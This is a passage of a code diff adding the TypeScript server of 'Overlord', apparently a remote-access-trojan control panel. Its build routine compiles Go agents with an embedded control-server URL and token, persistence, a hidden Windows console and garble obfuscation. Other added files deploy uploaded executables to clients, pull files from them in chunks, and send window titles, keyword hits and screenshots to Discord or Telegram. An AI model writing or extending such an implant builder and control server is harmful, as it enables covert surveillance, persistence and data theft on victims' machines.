+ status: "running",
+ startTime: now,
+ expiresAt: now + SEVEN_DAYS_MS,
+ files: [],
+ };
+
+ buildManager.addBuildStream(buildId, build);
+
+ const sendToStream = (data: any) => {
+ const encoder = new TextEncoder();
+ const message = `data: ${JSON.stringify(data)}\n\n`;
+ const encoded = encoder.encode(message);
+
+ if (data.type === "output") {
+ logger.info(`[build:${buildId.substring(0, 8)}] ${data.text.trimEnd()}`);
+ } else if (data.type === "status") {
+ logger.info(`[build:${buildId.substring(0, 8)}] STATUS: ${data.text}`);
+ } else if (data.type === "error") {
+ logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
+ }
+
+ build.controllers.forEach((controller) => {
+ try {
+ controller.enqueue(encoded);
+ } catch (err) {
+ logger.error("[build] Failed to send to stream:", err);
+ }
+ });
+ };
+
+ try {
+ const serverConfig = getConfig();
+ const buildAgentToken = (serverConfig.auth.agentToken || "").trim();
+
+ sendToStream({ type: "status", text: "Preparing build environment..." });
+
+ try {
+ const goCheck = await $`go version`.quiet();
+ const goVersion = goCheck.stdout.toString().trim();
+ logger.info(`[build:${buildId.substring(0, 8)}] Using ${goVersion}`);
+ sendToStream({ type: "output", text: `Using ${goVersion}\n`, level: "info" });
+ } catch {
+ const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH.";
+ logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg}`);
+ sendToStream({ type: "output", text: `ERROR: ${errorMsg}\n`, level: "error" });
+ sendToStream({ type: "error", error: errorMsg });
+ sendToStream({ type: "complete", success: false });
+ build.status = "failed";
+ return;
+ }
+
+ const rootDir = resolveRuntimeRoot();
+ const distClientDir = path.join(rootDir, "dist", "Overlord-Client");
+ const clientDir = fs.existsSync(distClientDir)
+ ? distClientDir
+ : path.join(rootDir, "Overlord-Client");
+ const outDir = path.join(rootDir, "dist-clients");
+
+ await Bun.$`mkdir -p ${outDir}`.quiet();
+ sendToStream({ type: "output", text: `Build directory: ${outDir}\n`, level: "info" });
+
+ const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p));
+ if (platformsToBuild.length !== (config.platforms || []).length) {
+ throw new Error("One or more requested platforms are not allowed");
+ }
+
+ let buildMutex = "";
+ if (!config.disableMutex) {
+ buildMutex = config.mutex || deps.generateBuildMutex();
+ sendToStream({ type: "output", text: `Mutex: ${buildMutex}\n`, level: "info" });
+ } else {
+ sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" });
+ }
+
+ for (const platform of platformsToBuild) {
+ const [os, arch, ...rest] = platform.split("-");
+ const goarm = rest[0] === "armv7" ? "7" : undefined;
+ const actualArch = goarm ? "arm" : arch;
+ const outputName = deps.sanitizeOutputName(
+ platform.includes("windows") ? `agent-${platform}.exe` : `agent-${platform}`,
+ );
+
+ sendToStream({ type: "status", text: `Building ${platform}...` });
+ sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" });
+
+ const env = {
+ ...process.env,
+ GOOS: os,
+ GOARCH: actualArch,
+ CGO_ENABLED: config.disableCgo !== false ? "0" : "1",
+ GOWORK: "off",
+ ...(goarm ? { GOARM: goarm } : {}),
+ };
+
+ let ldflags = config.stripDebug !== false ? "-s -w" : "";
+
+ if (config.serverUrl) {
+ const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL=${config.serverUrl}`;
+ ldflags = `${ldflags} ${serverFlag}`;
+ sendToStream({ type: "output", text: `Server URL: ${config.serverUrl}\n`, level: "info" });
+ }
+
+ if (config.rawServerList) {
+ const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true";
+ ldflags = ldflags ? `${ldflags} ${rawServerFlag}` : rawServerFlag;
+ sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" });
+ }
+
+ if (buildMutex) {
+ const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`;
+ ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag;
+ }
+
+ if (config.enablePersistence) {
+ const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
+ ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
+ sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
+ }
+
+ if (buildAgentToken) {
+ const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken=${buildAgentToken}`;
+ ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag;
+ }
+
+ if (config.hideConsole && os === "windows") {
+ const hideConsoleFlag = "-H=windowsgui";
+ ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
+ sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" });
+ }
+
+ if (config.obfuscate) {
+ sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
+ }
+
+ if (config.noPrinting) {
+ sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
+ }
+
+ try {
+ const buildTool = config.obfuscate ? "garble" : "go";
+ const tagArg = config.noPrinting ? "-tags noprint " : "";
+ logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
+ logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED}`);
+
+ const buildCmd = config.obfuscate
+ ? (config.noPrinting
+ ? (ldflags
+ ? $`garble build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
+ : $`garble build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
+ : (ldflags
+ ? $`garble build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
+ : $`garble build -o ${outDir}/${outputName} ./cmd/agent`))
+ : (config.noPrinting
+ ? (ldflags
+ ? $`go build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
+ : $`go build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
+ : (ldflags
+ ? $`go build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
+ : $`go build -o ${outDir}/${outputName} ./cmd/agent`));
+
+ const proc = buildCmd.env(env).cwd(clientDir).nothrow();
+
+ for await (const line of proc.lines()) {
+ sendToStream({ type: "output", text: line + "\n", level: "info" });
+ }
+
+ const result = await proc;
+ logger.info(`[build:${buildId.substring(0, 8)}] Process exited with code: ${result.exitCode}`);
+
+ if (result.exitCode !== 0) {
+ const stderrText = result.stderr.toString();
+ if (stderrText) {
+ sendToStream({ type: "output", text: stderrText, level: "error" });
+ }
+ const errorMsg = `Build failed with exit code ${result.exitCode}\n`;
+ sendToStream({ type: "output", text: errorMsg, level: "error" });
+ throw new Error(`Build failed for ${platform}`);
+ }
+
+ const filePath = `${outDir}/${outputName}`;
+ const file = Bun.file(filePath);
+ const size = file.size;
+
+ (build.files as any[]).push({
+ name: outputName,
+ filename: outputName,
+ platform,
+ size,
+ });
+ } catch (err: any) {
+ const errorMsg = `Γ£ù Failed to build ${platform}: ${err.message || err}\n`;
+ logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg.trim()}`);
+ sendToStream({ type: "output", text: errorMsg, level: "error" });
+ throw err;
+ }
+ }
+
+ build.status = "completed";
+ logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
+ sendToStream({ type: "output", text: `\nΓ£ô Build completed successfully!\n`, level: "success" });
+ sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
+
+ saveBuild({
+ id: build.id,
+ status: build.status,
+ startTime: build.startTime,
+ expiresAt: build.expiresAt,
+ files: build.files as any,
+ });
+
+ setTimeout(() => {
+ logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
+ buildManager.deleteBuildStream(buildId);
+ }, SEVEN_DAYS_MS);
+ } catch (err: any) {
+ build.status = "failed";
+ logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
+ sendToStream({ type: "error", error: err.message || String(err) });
+ sendToStream({ type: "complete", success: false, buildId });
+
+ setTimeout(() => {
+ logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up failed build stream`);
+ buildManager.deleteBuildStream(buildId);
+ }, 60 * 60 * 1000);
+ }
+}
diff --git a/Overlord-Server/src/server/build-utils.ts b/Overlord-Server/src/server/build-utils.ts
new file mode 100644
index 0000000..b2e9e85
--- /dev/null
+++ b/Overlord-Server/src/server/build-utils.ts
@@ -0,0 +1,30 @@
+import path from "path";
+
+const MUTEX_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-";
+
+export function generateBuildMutex(length = 24): string {
+ const bytes = new Uint8Array(length);
+ crypto.getRandomValues(bytes);
+ return Array.from(bytes)
+ .map((b) => MUTEX_CHARS[b % MUTEX_CHARS.length])
+ .join("");
+}
+
+export function sanitizeMutex(value?: string): string | undefined {
+ if (!value) return undefined;
+ const trimmed = value.trim();
+ if (!trimmed) return undefined;
+ if (!/^[A-Za-z0-9._-]{1,64}$/.test(trimmed)) {
+ throw new Error("Mutex must be 1-64 chars using letters, numbers, '.', '_' or '-' only");
+ }
+ return trimmed;
+}
+
+export function sanitizeOutputName(name: string): string {
+ const base = path.basename(name);
+ const cleaned = base.replace(/[^A-Za-z0-9._-]/g, "");
+ if (!cleaned || cleaned !== base) {
+ throw new Error("Invalid output filename");
+ }
+ return cleaned;
+}
diff --git a/Overlord-Server/src/server/deploy-utils.ts b/Overlord-Server/src/server/deploy-utils.ts
new file mode 100644
index 0000000..a90170d
--- /dev/null
+++ b/Overlord-Server/src/server/deploy-utils.ts
@@ -0,0 +1,44 @@
+export type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown";
+
+export function normalizeClientOs(os?: string): DeployOs {
+ const val = String(os || "").toLowerCase();
+ if (val.includes("windows")) return "windows";
+ if (val.includes("darwin") || val.includes("mac")) return "mac";
+ if (val.includes("linux")) return "linux";
+ return "unknown";
+}
+
+export function detectUploadOs(filename: string, bytes: Uint8Array): DeployOs {
+ const lower = filename.toLowerCase();
+ if (lower.endsWith(".exe") || lower.endsWith(".msi") || lower.endsWith(".bat") || lower.endsWith(".cmd") || lower.endsWith(".ps1")) {
+ return "windows";
+ }
+ if (lower.endsWith(".dmg") || lower.endsWith(".pkg") || lower.endsWith(".app")) {
+ return "mac";
+ }
+ if (lower.endsWith(".sh")) {
+ return "unix";
+ }
+ if (lower.endsWith(".run")) {
+ return "linux";
+ }
+
+ if (bytes.length >= 4) {
+ const b0 = bytes[0];
+ const b1 = bytes[1];
+ const b2 = bytes[2];
+ const b3 = bytes[3];
+ if (b0 === 0x4d && b1 === 0x5a) return "windows";
+ if (b0 === 0x7f && b1 === 0x45 && b2 === 0x4c && b3 === 0x46) return "linux";
+ const magic = (b0 << 24) | (b1 << 16) | (b2 << 8) | b3;
+ if (magic === 0xfeedface || magic === 0xfeedfacf || magic === 0xcefaedfe || magic === 0xcafebabe) {
+ return "mac";
+ }
+ }
+
+ if (bytes.length >= 2 && bytes[0] === 0x23 && bytes[1] === 0x21) {
+ return "unix";
+ }
+
+ return "unknown";
+}
diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts
new file mode 100644
index 0000000..4308ee6
--- /dev/null
+++ b/Overlord-Server/src/server/http-dispatch.ts
@@ -0,0 +1,141 @@
+type MaybeResponse = Response | null;
+
+type RouteHandler = (req: Request, url: URL) => Promise;
+type RouteHandlerWithServer = (
+ req: Request,
+ url: URL,
+ server: TServer,
+) => Promise;
+type RouteHandlerWithServerDeps = (
+ req: Request,
+ url: URL,
+ server: TServer,
+ deps: TDeps,
+) => Promise;
+type RouteHandlerWithDeps = (
+ req: Request,
+ url: URL,
+ deps: TDeps,
+) => Promise;
+
+type HttpDispatchDeps<
+ TServer,
+ TNotificationsConfig,
+ TBuild,
+ TDeploy,
+ TFileDownload,
+ TPlugin,
+ TMisc,
+ TAssets,
+ TPage,
+ TClient,
+ TWsUpgrade,
+> = {
+ metrics: { withHttpMetrics: (fn: () => Promise) => Promise };
+ CORS_HEADERS: Record;
+ handleAuthRoutes: RouteHandlerWithServer;
+ handleNotificationsConfigRoutes: RouteHandlerWithServerDeps;
+ handleAutoScriptsRoutes: RouteHandler;
+ handleUsersRoutes: RouteHandlerWithServer;
+ handleBuildRoutes: RouteHandlerWithServerDeps;
+ handleDeployRoutes: RouteHandlerWithServerDeps;
+ handleFileDownloadRoutes: RouteHandlerWithServerDeps;
+ handlePluginRoutes: RouteHandlerWithDeps;
+ handleMiscRoutes: RouteHandlerWithDeps;
+ handleAssetsRoutes: RouteHandlerWithDeps;
+ handlePageRoutes: RouteHandlerWithDeps;
+ handleClientRoutes: RouteHandlerWithServerDeps;
+ handleWsUpgradeRoutes: RouteHandlerWithServerDeps;
+ routeDeps: {
+ notificationsConfig: TNotificationsConfig;
+ build: TBuild;
+ deploy: TDeploy;
+ fileDownload: TFileDownload;
+ plugin: TPlugin;
+ misc: TMisc;
+ assets: TAssets;
+ page: TPage;
+ client: TClient;
+ wsUpgrade: TWsUpgrade;
+ };
+};
+
+export function createHttpFetchHandler<
+ TServer,
+ TNotificationsConfig,
+ TBuild,
+ TDeploy,
+ TFileDownload,
+ TPlugin,
+ TMisc,
+ TAssets,
+ TPage,
+ TClient,
+ TWsUpgrade,
+>(
+ deps: HttpDispatchDeps<
+ TServer,
+ TNotificationsConfig,
+ TBuild,
+ TDeploy,
+ TFileDownload,
+ TPlugin,
+ TMisc,
+ TAssets,
+ TPage,
+ TClient,
+ TWsUpgrade
+ >,
+) {
+ return async function fetchHandler(req: Request, server: unknown): Promise {
+ return deps.metrics.withHttpMetrics(async () => {
+ const routeServer = server as TServer;
+ const url = new URL(req.url);
+
+ if (req.method === "OPTIONS") {
+ return new Response("", { headers: deps.CORS_HEADERS });
+ }
+
+ const authRouteResponse = await deps.handleAuthRoutes(req, url, routeServer);
+ if (authRouteResponse) return authRouteResponse;
+
+ const notificationsConfigResponse = await deps.handleNotificationsConfigRoutes(req, url, routeServer, deps.routeDeps.notificationsConfig);
+ if (notificationsConfigResponse) return notificationsConfigResponse;
+
+ const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url);
+ if (autoScriptsResponse) return autoScriptsResponse;
+
+ const usersResponse = await deps.handleUsersRoutes(req, url, routeServer);
+ if (usersResponse) return usersResponse;
+
+ const buildResponse = await deps.handleBuildRoutes(req, url, routeServer, deps.routeDeps.build);
+ if (buildResponse) return buildResponse;
+
+ const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
+ if (deployResponse) return deployResponse;
+
+ const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
+ if (fileDownloadResponse) return fileDownloadResponse;
+
+ const pluginResponse = await deps.handlePluginRoutes(req, url, deps.routeDeps.plugin);
+ if (pluginResponse) return pluginResponse;
+
+ const miscResponse = await deps.handleMiscRoutes(req, url, deps.routeDeps.misc);
+ if (miscResponse) return miscResponse;
+
+ const assetsResponse = await deps.handleAssetsRoutes(req, url, deps.routeDeps.assets);
+ if (assetsResponse) return assetsResponse;
+
+ const pageResponse = await deps.handlePageRoutes(req, url, deps.routeDeps.page);
+ if (pageResponse) return pageResponse;
+
+ const clientRouteResponse = await deps.handleClientRoutes(req, url, routeServer, deps.routeDeps.client);
+ if (clientRouteResponse) return clientRouteResponse;
+
+ const wsUpgradeResponse = await deps.handleWsUpgradeRoutes(req, url, routeServer, deps.routeDeps.wsUpgrade);
+ if (wsUpgradeResponse) return wsUpgradeResponse;
+
+ return new Response("Not found", { status: 404 });
+ });
+ };
+}
diff --git a/Overlord-Server/src/server/http-download-consumer.ts b/Overlord-Server/src/server/http-download-consumer.ts
new file mode 100644
index 0000000..f015afc
--- /dev/null
+++ b/Overlord-Server/src/server/http-download-consumer.ts
@@ -0,0 +1,160 @@
+import fs from "fs/promises";
+import type { FileHandle } from "fs/promises";
+import { logger } from "../logger";
+
+export type PendingHttpDownload = {
+ commandId: string;
+ clientId: string;
+ path: string;
+ fileName: string;
+ total: number;
+ receivedBytes: number;
+ receivedOffsets: Set;
+ receivedChunks: Set;
+ chunkSize: number;
+ expectedChunks: number;
+ loggedTotal?: boolean;
+ loggedFirstChunk?: boolean;
+ tmpPath: string;
+ fileHandle: FileHandle;
+ resolve: (entry: PendingHttpDownload) => void;
+ reject: (error: Error) => void;
+ timeout: ReturnType;
+};
+
+export async function consumeHttpDownloadPayload(
+ payload: any,
+ pendingHttpDownloads: Map,
+): Promise {
+ const commandId = typeof payload?.commandId === "string" ? payload.commandId : "";
+ if (!commandId) return;
+
+ const pending = pendingHttpDownloads.get(commandId);
+ if (!pending) return;
+
+ if (payload?.error) {
+ clearTimeout(pending.timeout);
+ pendingHttpDownloads.delete(commandId);
+ try {
+ await pending.fileHandle.close();
+ } catch {}
+ try {
+ await fs.unlink(pending.tmpPath);
+ } catch {}
+ pending.reject(new Error(String(payload.error)));
+ return;
+ }
+
+ const toNumber = (value: unknown): number | null => {
+ if (typeof value === "number" && Number.isFinite(value)) return value;
+ if (typeof value === "bigint") {
+ const asNumber = Number(value);
+ if (Number.isSafeInteger(asNumber)) return asNumber;
+ }
+ return null;
+ };
+
+ const rawTotal = payload?.total;
+ if (!pending.total) {
+ const total = toNumber(rawTotal);
+ if (total && total > 0) {
+ pending.total = total;
+ }
+ }
+ if (pending.total > 0 && !pending.loggedTotal) {
+ pending.loggedTotal = true;
+ logger.debug("[filebrowser] http download total", {
+ commandId,
+ total: pending.total,
+ rawTotalType: typeof rawTotal,
+ });
+ }
+
+ if (payload?.data) {
+ let data = payload.data;
+ if (data instanceof ArrayBuffer) {
+ data = new Uint8Array(data);
+ } else if (typeof data === "string") {
+ data = Uint8Array.from(atob(data), (c) => c.charCodeAt(0));
+ } else if (ArrayBuffer.isView(data)) {
+ data = new Uint8Array(data.buffer, data.byteOffset, data.byteLength);
+ }
+
+ if (data instanceof Uint8Array) {
+ const offset = toNumber(payload?.offset);
+ const chunkIndex = toNumber(payload?.chunkIndex);
+ const chunksTotal = toNumber(payload?.chunksTotal);
+
+ if (offset === null) {
+ logger.debug("[filebrowser] http download missing offset", {
+ commandId,
+ rawOffsetType: typeof payload?.offset,
+ });
+ }
+
+ if (!pending.chunkSize && data.length > 0) {
+ pending.chunkSize = data.length;
+ }
+ if (pending.expectedChunks === 0) {
+ if (chunksTotal && chunksTotal > 0) {
+ pending.expectedChunks = chunksTotal;
+ } else if (pending.total > 0 && pending.chunkSize > 0) {
+ pending.expectedChunks = Math.ceil(pending.total / pending.chunkSize);
+ }
+ }
+
+ if (!pending.loggedFirstChunk) {
+ pending.loggedFirstChunk = true;
+ logger.debug("[filebrowser] http download first chunk", {
+ commandId,
+ size: data.length,
+ offset,
+ chunkIndex,
+ chunksTotal,
+ expectedChunks: pending.expectedChunks,
+ });
+ }
+
+ const shouldWrite = chunkIndex !== null
+ ? !pending.receivedChunks.has(chunkIndex)
+ : !pending.receivedOffsets.has(offset ?? 0);
+
+ if (shouldWrite) {
+ try {
+ await pending.fileHandle.write(data, 0, data.length, offset ?? 0);
+ } catch (err) {
+ clearTimeout(pending.timeout);
+ pendingHttpDownloads.delete(commandId);
+ try {
+ await pending.fileHandle.close();
+ } catch {}
+ try {
+ await fs.unlink(pending.tmpPath);
+ } catch {}
+ pending.reject(err as Error);
+ return;
+ }
+ if (chunkIndex !== null) {
+ pending.receivedChunks.add(chunkIndex);
+ } else {
+ pending.receivedOffsets.add(offset ?? 0);
+ }
+ pending.receivedBytes += data.length;
+ }
+ }
+ }
+
+ const receivedChunkCount = pending.receivedChunks.size + pending.receivedOffsets.size;
+ const hasAllChunks = pending.expectedChunks > 0
+ ? receivedChunkCount >= pending.expectedChunks
+ : pending.total > 0 && pending.receivedBytes >= pending.total;
+
+ if ((pending.total > 0 ? pending.receivedBytes >= pending.total : hasAllChunks && pending.receivedBytes > 0) && hasAllChunks) {
+ clearTimeout(pending.timeout);
+ pendingHttpDownloads.delete(commandId);
+ try {
+ await pending.fileHandle.close();
+ } catch {}
+ pending.resolve(pending);
+ }
+}
diff --git a/Overlord-Server/src/server/http-security.ts b/Overlord-Server/src/server/http-security.ts
new file mode 100644
index 0000000..b33b2ed
--- /dev/null
+++ b/Overlord-Server/src/server/http-security.ts
@@ -0,0 +1,13 @@
+export const CORS_HEADERS = {
+ "Access-Control-Allow-Origin": "*",
+ "Access-Control-Allow-Methods": "GET,OPTIONS",
+ "Access-Control-Allow-Headers": "Content-Type",
+};
+
+export const SECURITY_HEADERS = {
+ "Content-Security-Policy": "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com https://unpkg.com; style-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net https://fonts.googleapis.com; img-src 'self' data: blob: https://cdn.jsdelivr.net https://a.tile.openstreetmap.org https://b.tile.openstreetmap.org https://c.tile.openstreetmap.org https://tile.openstreetmap.org https://a.basemaps.cartocdn.com https://b.basemaps.cartocdn.com https://c.basemaps.cartocdn.com https://d.basemaps.cartocdn.com; font-src 'self' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net https://fonts.gstatic.com; connect-src 'self' wss: ws: https://cdn.jsdelivr.net",
+ "X-Content-Type-Options": "nosniff",
+ "X-Frame-Options": "DENY",
+ "X-XSS-Protection": "1; mode=block",
+ "Referrer-Policy": "strict-origin-when-cross-origin",
+};
diff --git a/Overlord-Server/src/server/http-utils.ts b/Overlord-Server/src/server/http-utils.ts
new file mode 100644
index 0000000..5b63f51
--- /dev/null
+++ b/Overlord-Server/src/server/http-utils.ts
@@ -0,0 +1,27 @@
+import { SECURITY_HEADERS } from "./http-security";
+
+export function secureHeaders(contentType?: string) {
+ return {
+ ...SECURITY_HEADERS,
+ ...(contentType ? { "Content-Type": contentType } : {}),
+ };
+}
+
+export function securePluginHeaders() {
+ return {
+ ...SECURITY_HEADERS,
+ "X-Frame-Options": "SAMEORIGIN",
+ "Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
+ };
+}
+
+export function mimeType(path: string) {
+ if (path.endsWith(".html")) return "text/html; charset=utf-8";
+ if (path.endsWith(".css")) return "text/css; charset=utf-8";
+ if (path.endsWith(".js")) return "text/javascript; charset=utf-8";
+ if (path.endsWith(".json")) return "application/json";
+ if (path.endsWith(".png")) return "image/png";
+ if (path.endsWith(".jpg") || path.endsWith(".jpeg")) return "image/jpeg";
+ if (path.endsWith(".webp")) return "image/webp";
+ return "application/octet-stream";
+}
diff --git a/Overlord-Server/src/server/maintenance-loops.ts b/Overlord-Server/src/server/maintenance-loops.ts
new file mode 100644
index 0000000..0859192
--- /dev/null
+++ b/Overlord-Server/src/server/maintenance-loops.ts
@@ -0,0 +1,51 @@
+import { logger } from "../logger";
+import { sendPingRequest } from "../wsHandlers";
+import type { ClientInfo } from "../types";
+import { pruneStaleClients } from "./stale-prune";
+
+type StartMaintenanceParams = {
+ getClients: () => Map;
+ setOnlineState: (id: string, online: boolean) => void;
+ deleteClient: (id: string) => void;
+ staleMs: number;
+ pruneBatch: number;
+ heartbeatIntervalMs: number;
+ disconnectTimeoutMs: number;
+};
+
+export function startMaintenanceLoops(params: StartMaintenanceParams): void {
+ setInterval(() => {
+ pruneStaleClients({
+ clients: params.getClients(),
+ staleMs: params.staleMs,
+ pruneBatch: params.pruneBatch,
+ setOnlineState: params.setOnlineState,
+ deleteClient: params.deleteClient,
+ });
+ }, 5000);
+
+ setInterval(() => {
+ const now = Date.now();
+ for (const [id, info] of params.getClients().entries()) {
+ if (info.role !== "client") continue;
+ if (
+ info.lastPingNonce !== undefined &&
+ info.lastPingSent &&
+ now - info.lastPingSent > params.heartbeatIntervalMs + params.disconnectTimeoutMs
+ ) {
+ logger.warn(`[ping] no pong from ${id} within timeout; closing socket`);
+ try {
+ info.ws.close(4001, "ping timeout");
+ } catch (err) {
+ logger.debug(`[ping] close failed for ${id}`, err);
+ }
+ continue;
+ }
+ try {
+ sendPingRequest(info, info.ws, "heartbeat");
+ } catch (err) {
+ logger.debug(`[ping] heartbeat failed for ${id}`, err);
+ }
+ }
+ }, params.heartbeatIntervalMs);
+}
diff --git a/Overlord-Server/src/server/notification-delivery.ts b/Overlord-Server/src/server/notification-delivery.ts
new file mode 100644
index 0000000..c14a5cd
--- /dev/null
+++ b/Overlord-Server/src/server/notification-delivery.ts
@@ -0,0 +1,214 @@
+import { v4 as uuidv4 } from "uuid";
+import {
+ getNotificationScreenshot,
+ saveNotificationScreenshot,
+ type NotificationScreenshotRecord,
+} from "../db";
+import { logger } from "../logger";
+
+export type NotificationRecord = {
+ id: string;
+ clientId: string;
+ host?: string;
+ user?: string;
+ os?: string;
+ title: string;
+ process?: string;
+ processPath?: string;
+ pid?: number;
+ keyword?: string;
+ category: "active_window";
+ ts: number;
+ screenshotId?: string;
+};
+
+export type PendingNotificationScreenshot = {
+ notificationId: string;
+ clientId: string;
+ ts: number;
+ timeout: NodeJS.Timeout;
+};
+
+const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
+const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
+
+function getScreenshotMeta(format: string | undefined): { contentType: string; ext: string } {
+ const normalized = (format || "jpeg").toLowerCase();
+ if (normalized === "png") return { contentType: "image/png", ext: "png" };
+ if (normalized === "webp") return { contentType: "image/webp", ext: "webp" };
+ if (normalized === "jpg" || normalized === "jpeg") return { contentType: "image/jpeg", ext: "jpg" };
+ return { contentType: "application/octet-stream", ext: "bin" };
+}
+
+async function waitForNotificationScreenshot(
+ notificationId: string,
+ timeoutMs = NOTIFICATION_SCREENSHOT_WAIT_MS,
+): Promise {
+ const start = Date.now();
+ while (Date.now() - start < timeoutMs) {
+ const screenshot = getNotificationScreenshot(notificationId);
+ if (screenshot) return screenshot;
+ await new Promise((resolve) => setTimeout(resolve, NOTIFICATION_SCREENSHOT_POLL_MS));
+ }
+ return null;
+}
+
+export function takePendingNotificationScreenshot(
+ pendingNotificationScreenshots: Map,
+ clientId: string,
+): PendingNotificationScreenshot | null {
+ for (const [commandId, pending] of pendingNotificationScreenshots.entries()) {
+ if (pending.clientId !== clientId) continue;
+ clearTimeout(pending.timeout);
+ pendingNotificationScreenshots.delete(commandId);
+ return pending;
+ }
+ return null;
+}
+
+export function storeNotificationScreenshot(
+ notificationHistory: NotificationRecord[],
+ pending: PendingNotificationScreenshot,
+ bytes: Uint8Array,
+ format: string,
+ width?: number,
+ height?: number,
+): void {
+ if (!bytes || bytes.length === 0) return;
+ const screenshotId = uuidv4();
+
+ saveNotificationScreenshot({
+ id: screenshotId,
+ notificationId: pending.notificationId,
+ clientId: pending.clientId,
+ ts: pending.ts,
+ format,
+ width,
+ height,
+ bytes,
+ });
+
+ const record = notificationHistory.find((item) => item.id === pending.notificationId);
+ if (record) {
+ record.screenshotId = screenshotId;
+ }
+}
+
+async function postNotificationWebhook(
+ record: NotificationRecord,
+ getNotificationConfig: () => any,
+ screenshot?: NotificationScreenshotRecord | null,
+): Promise {
+ const config = getNotificationConfig();
+ if (!config.webhookEnabled) return;
+ const url = (config.webhookUrl || "").trim();
+ if (!url) return;
+ try {
+ const parsed = new URL(url);
+ if (!/^https?:$/.test(parsed.protocol)) {
+ return;
+ }
+ } catch {
+ return;
+ }
+
+ try {
+ const isDiscord = /discord(app)?\.com$/i.test(new URL(url).hostname);
+ if (isDiscord) {
+ const embed: Record = {
+ title: record.keyword ? `Keyword: ${record.keyword}` : "Active Window",
+ description: record.title,
+ fields: [
+ { name: "Client", value: record.clientId || "unknown", inline: true },
+ { name: "User", value: record.user || "unknown", inline: true },
+ { name: "Host", value: record.host || "unknown", inline: true },
+ { name: "Process", value: record.process || "unknown", inline: true },
+ ],
+ timestamp: new Date(record.ts).toISOString(),
+ };
+
+ const payload: Record = {
+ content: `🔔 Notification: ${record.title}`,
+ embeds: [embed],
+ };
+
+ if (screenshot?.bytes?.length) {
+ const meta = getScreenshotMeta(screenshot.format);
+ const filename = `notification-${record.id}.${meta.ext}`;
+ embed.image = { url: `attachment://${filename}` };
+ const form = new FormData();
+ form.append("payload_json", JSON.stringify(payload));
+ form.append(
+ "files[0]",
+ new Blob([screenshot.bytes as any], { type: meta.contentType }),
+ filename,
+ );
+ await fetch(url, { method: "POST", body: form });
+ return;
+ }
+
+ await fetch(url, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify(payload),
+ });
+ return;
+ }
+
+ const payload = { type: "notification", data: record };
+ await fetch(url, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify(payload),
+ });
+ } catch (err) {
+ logger.warn("[notify] webhook delivery failed", err);
+ }
+}
+
+async function postTelegramNotification(
+ record: NotificationRecord,
+ getNotificationConfig: () => any,
+ screenshot?: NotificationScreenshotRecord | null,
+): Promise {
+ const config = getNotificationConfig();
+ if (!config.telegramEnabled) return;
+ const token = (config.telegramBotToken || "").trim();
+ const chatId = (config.telegramChatId || "").trim();
+ if (!token || !chatId) return;
+
+ const text = `🔔 Notification\nTitle: ${record.title}\nKeyword: ${record.keyword || "-"}\nClient: ${record.clientId}\nUser: ${record.user || "unknown"}\nHost: ${record.host || "unknown"}\nProcess: ${record.process || "unknown"}`;
+ try {
